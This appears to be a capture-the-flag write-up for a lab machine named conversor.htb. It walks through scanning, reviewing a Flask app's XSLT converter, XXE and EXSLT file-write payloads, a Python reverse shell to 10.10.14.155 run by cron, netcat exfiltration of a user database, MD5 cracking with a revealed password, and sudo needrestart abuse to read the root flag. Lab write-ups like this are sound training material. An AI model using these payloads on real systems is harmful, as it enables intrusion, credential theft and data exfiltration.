10.129.13.63
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-27 20:25 CET
Nmap scan report for 10.129.13.63
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0174263947bc6ae2cb128b71849cf85a (ECDSA)
|_ 256 3a1690dc74d8e3c45136e208062617ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds
We have a website running on tcp/80:

This website has a form that accepts two files: an nmap XML scan and a web template that feeds from that XML data using the format XSLT. It then converts both files into a HTML page served in the view/ directory.
Let's send the basic nmap scan we did above at the start:

Ok let's try something simple, since this is XML let's test the basic XXE and extract /etc/passwd.
I re-ran a scan with nmap -p80 -oX scan.xml 10.129.13.63 and replaced the hostname="conversor.htb" with hostname="&xxe;" and added the DTD declaration on the existing DOCTYPE, but that breaks the XML parsing for some reason.
The outlier here is not really the XML but the XSLT, it literally just generates a HTML page for us with XML.
Let's explore that, looking online we find some guides on exploiting XSLT.
First we have a payload to detect the version:
XSLT identification
Version:1.0
Vendor:libxslt
Vendor URL:http://xmlsoft.org/XSLT/
This version is very pretty old, though out of 19 CVEs I found on CVE Details though it's mostly OS specific or DoS.
Going further on the guide we have a file read method, though that one used unparsed-text() and it kept breaking, after looking further I found this guide:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
This gives us: Error: Cannot resolve URI /etc/passwd.
Ok let's try other paths:
Error: Cannot resolve URI file:///etc/passwd
/var/www/conversor.htb/uploads/ - doing '.'
Mhh this doesn't seem to work, let's try to identify the technology behind, wappalyzer doesn't find anything special, let's fuzz:
ffuf -c -w `fzf-wordlists` -u "http://conversor.htb/FUZZ"
#
# /'___\ /'___\ /'___\
# /\ \__/ /\ \__/ __ __ /\ \__/
# \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
# \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
# \ \_\ \ \_\ \ \____/ \ \_\
# \/_/ \/_/ \/___/ \/_/
#
# v2.1.0
# ________________________________________________
#
# :: Method : GET
# :: URL : http://conversor.htb/FUZZ
# :: Wordlist : FUZZ: /opt/lists/seclists/Discovery/Web-Content/common.txt
# :: Follow redirects : false
# :: Calibration : false
# :: Timeout : 10
# :: Threads : 40
# :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
# ________________________________________________
#
# about [Status: 200, Size: 2842, Words: 577, Lines: 81, Duration: 49ms]
# javascript [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 32ms]
# login [Status: 200, Size: 722, Words: 30, Lines: 22, Duration: 35ms]
# logout [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 31ms]
# register [Status: 200, Size: 726, Words: 30, Lines: 21, Duration: 37ms]
# server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 33ms]
Looking at the about/ path we find a download link to the source code of this page, so this challenge is a white-box, I should have realized this sooner:
.
├── app.py
├── app.wsgi
├── install.md
├── instance
│ └── users.db
├── scripts
├── source.tar.gz
├── static
│ ├── images
│ │ ├── arturo.png
│ │ ├── david.png
│ │ └── fismathack.png
│ ├── nmap.xslt
│ └── style.css
├── templates
│ ├── about.html
│ ├── base.html
│ ├── index.html
│ ├── login.html
│ ├── register.html
│ └── result.html
└── uploads
Looking at the users.db there is a users table that is empty, they didn't leak anything here.
Let's look for the xslt logic. Inside app.py we find the convert route:
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"
Ok so what we need to look into is any known vulnerability with lxml.etree.XSLT, looking online there's all the AI CVE slop sites that point to the same CVE-2025-6985, looking on a trusted source like CVE Details we find a reference to a huntr.dev bug bounty report which references a pull request.
In this PR we see a change to a tool called "langchain" by LangChainAI, the tool was using lxml.etree.XSLT in a very similar fashion as the code we have:
parser = etree.HTMLParser()
tree = etree.parse(StringIO(html_content), parser)
xslt_tree = etree.parse(self.xslt_path)
transform = etree.XSLT(xslt_tree)
So this code is vulnerable to an XXE attack. Cole Murray, the researcher that found this CVE, gave us a PoC, it has two versions, one for lxml<=4.9, and another for lxml>=5.0, we don't really know so let's just try both:
<!-- lxml <=4.9 -->
<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [<!ENTITY etc SYSTEM "file:///etc/hostname">]>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body><h1>XXE</h1><pre>&etc;</pre></body></html>
</xsl:template>
</xsl:stylesheet>
<!-- lxml >=5.0 -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body><h1>XXE</h1>
<xsl:copy-of select="document('file:///etc/hostname')"/>
</body></html>
</xsl:template>
</xsl:stylesheet>
While the 5.0, gives the same error as before Error: Cannot resolve URI file:///etc/hostname
The 4.9 is a bit different: Error: Entity 'etc' not defined, line 6, column 39 (xxe.xslt, line 6)
Let's be a bit more explicit and try to use a file we now know exists:
DB_PATH = '/var/www/conversor.htb/instance/users.db'
Mhhh that doesn't work either, looking at the install.md we find instructions about how the server is setup:
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
If that cronjob is currently running we should be able to trigger a revshell trough a custom script uploaded into scripts/.
Looking for methods to write files, I found out about EXSLT in this StackOverflow post.
Let's reproduce that with what we already had:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element- prefixes="exsl">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<exsl:document href="file:///var/www/conversor.htb/scripts/shell.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.155",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
</exsl:document>
</xsl:template>
</xsl:stylesheet>
Careful with the payload, make sure it's really pure python and not just a python -c '...' also careful on indentation, starting from the beginning of the line, python is strongly indented.
now waiting 60s for the cronjob to run… And we get our script to trigger giving us a reverse shell, let's exfiltrate the users.db:
cd conversor.htb/instance
nc -q 0 10.10.14.155 8000 < users.db
nc -l -p 8000 > users.db
sqlite3 users.db "SELECT * from users;"
# 1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
# 6|john|5f4dcc3b5aa765d61d8327deb882cf99
John is myself, let's try to crack fismathack, I suspect MD5:
echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt
hashcat -m 0 -a 0 hash.txt /opt/lists/rockyou.txt
# Keepmesafeandwarm
fismathack:Keepmesafeandwarm
Connecting trough ssh:
cat user.txt
# <REDACTED>
sudo -l
# Matching Defaults entries for fismathack on conversor:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
#
# User fismathack may run the following commands on conversor:
# (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
/usr/sbin/needrestart --help
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# Usage:
#
# needrestart [-vn] [-c <cfg>] [-r <mode>] [-f <fe>] [-u <ui>] [-(b|p|o)] [-klw]
#
# -v be more verbose
# -q be quiet
# -m <mode> set detail level
# e (e)asy mode
# a (a)dvanced mode
# -n set default answer to 'no'
# -c <cfg> config filename
# -r <mode> set restart mode
# l (l)ist only
# i (i)nteractive restart
# a (a)utomatically restart
# -b enable batch mode
# -p enable nagios plugin mode
# -o enable OpenMetrics output mode, implies batch mode, cannot be used simultaneously with -p
# -f <fe> override debconf frontend (DEBIAN_FRONTEND, debconf(7))
# -t <seconds> tolerate interpreter process start times within this value
# -u <ui> use preferred UI package (-u ? shows available packages)
#
# By using the following options only the specified checks are performed:
# -k check for obsolete kernel
# -l check for obsolete libraries
# -w check for obsolete CPU microcode
#
# --help show this help
# --version show version information
sudo /usr/sbin/needrestart -c /root/root.txt
# Error parsing /root/root.txt: Bareword "<REDACTED>" not allowed while "strict subs" in use at (eval 14) line 1.
Ok that was a bit quick, I guess a cleaner way to do this would be to use -r i to gain a shell.
2026 © Philippe Cheype
Base theme by Digital Garden